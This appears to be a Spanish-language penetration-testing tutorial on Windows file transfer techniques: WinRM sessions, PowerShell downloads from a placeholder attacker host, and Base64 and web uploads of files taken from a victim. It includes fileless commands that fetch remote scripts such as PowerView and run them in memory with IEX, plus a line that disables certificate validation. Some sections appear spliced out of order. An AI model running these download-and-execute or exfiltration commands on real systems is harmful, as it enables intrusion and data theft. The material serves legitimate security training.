Ya hablamos de realizar transferencias de archivos con PowerShell, pero puede haber escenarios en los que HTTP, HTTPS o SMB no estén disponibles. Si ese es el caso, podemos usar , también conocido como WinRM, para realizar operaciones de transferencia de archivos.
nos permite ejecutar scripts o comandos en una computadora remota mediante sesiones de PowerShell. Los administradores suelen usar PowerShell Remoting para administrar computadoras remotas en una red, y también podemos usarlo para operaciones de transferencia de archivos. De manera predeterminada, al habilitar PowerShell Remoting se crean un receptor HTTP y un receptor HTTPS. Los receptores se ejecutan en los puertos predeterminados TCP/5985 para HTTP y TCP/5986 para HTTPS.
Para crear una sesión de PowerShell Remoting en una computadora remota, necesitaremos acceso administrativo, ser miembro del grupo Remote Management Users o tener permisos explícitos para PowerShell Remoting en la configuración de la sesión. Creemos un ejemplo y transfiramos un archivo de DC01 a DATABASE01 y viceversa.
Tenemos una sesión como Administrador en DC01, el usuario tiene derechos administrativos en DATABASE01 y PowerShell Remoting está habilitado. Usemos Test-NetConnection para confirmar que podemos conectarnos a WinRM.
From DC01 - Confirm WinRM port TCP 5985 is Open on DATABASE01.
Como esta sesión ya tiene privilegios sobre DATABASE01, no necesitamos especificar credenciales. En el ejemplo siguiente, se crea una sesión en la computadora remota denominada DATABASE01 y se almacenan los resultados en la variable denominada $Session.
Create a PowerShell Remoting Session to DATABASE01
# Desde Kali levantamos un servidor web con Python para compartir archivos.
python3 -m http.server 80
# Desde Windows descargarmos el archivo con IWR (Invoke-WebRequest)
IWR -Uri http://<ATTACKER_IP>/archivo.txt -OutFile C:\path\destination\archivo.txt
Invoke-WebRequest -Uri http://<ATTACKER_IP>/archivo.txt -OutFile C:\path\destination\archivo.txt
PowerShell DownloadString - Fileless Method
Ejecutar directamente en memoria el script a través de IEX.
# Desde Kali codificamos en Base64 el archivo que queremos transferir
cat archivo.txt | base64 -w 0; echo
# Desde PowerShell (Víctima), decodificamos el contenido y lo almacenamos en una ruta
[IO.File]::WriteAllBytes("C:\Users\Public\archivo.txt", [Convert]::FromBase64String("<BASE64_CODE>"))
powershell -c "[IO.File]::WriteAllBytes('C:\Users\Public\archivo.txt', [Convert]::FromBase64String('<BASE64_CODE>'))"
Common Errors with PowerShell
Internet Explorer 11 Not Completed
Puede haber casos en los que la configuración inicial de Internet Explorer no se haya completado, lo que impide la descarga.
Esto se puede evitar utilizando el parámetro -UseBasicParsing.
PS C:\htb> IWR -Uri http://<ATTACKER_IP>/PowerView.ps1 | IEX
Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
PS C:\htb> IWR -Uri http://<ATTACKER_IP>PowerView.ps1 -UseBasicParsing | IEX
Secure Channel SSL/TLS is not trusted
Otro error en las descargas de PowerShell está relacionado con el canal seguro SSL/TLS si el certificado no es de confianza. Podemos evitar ese error con el siguiente comando:
PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
At line:1 char:1
+ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubuserc ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : WebException
PS C:\htb> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
Upload Operations
PowerShell Base64
# Desde el equipo victima convertimos el archivo 'file.bin' que no es legible a Base64
powershell -c "[convert]::ToBase64String((cat C:\\Temp\\file.bin -Encoding byte))"
[convert]::ToBase64String((cat C:\\Temp\\file.bin -Encoding byte))
# Desde el equipo atacante, descodificamos el contenido y obtenemos el archivo original. Nos hemos pasado el archivo solamente codificando en Base64.
echo '<BASE64_CODE>' | base64 -d > file.bin
PowerShell Web Uploads
PowerShell no tiene una función integrada para operaciones de carga de archivos, pero podemos usar Invoke-WebRequest o Invoke-RestMethod para construir nuestra propia función de carga. También necesitaremos un servidor web que acepte cargas de archivos, ya que esta no es una opción predeterminada en la mayoría de los servidores web comunes.
Para nuestro servidor web, podemos usar uploadserver, un módulo extendido de Python HTTP.server, que incluye una página para la carga de archivos. Vamos a instalarlo y a iniciar el servidor web.
Ahora podemos usar un script de PowerShell llamado PSUpload.ps1, que utiliza Invoke-RestMethod para realizar las operaciones de carga. El script acepta dos parámetros:
-File, que usamos para especificar la ruta del archivo.
-Uri, que es la URL del servidor donde subiremos nuestro archivo.
Vamos a intentar subir el archivo hosts desde nuestro sistema Windows.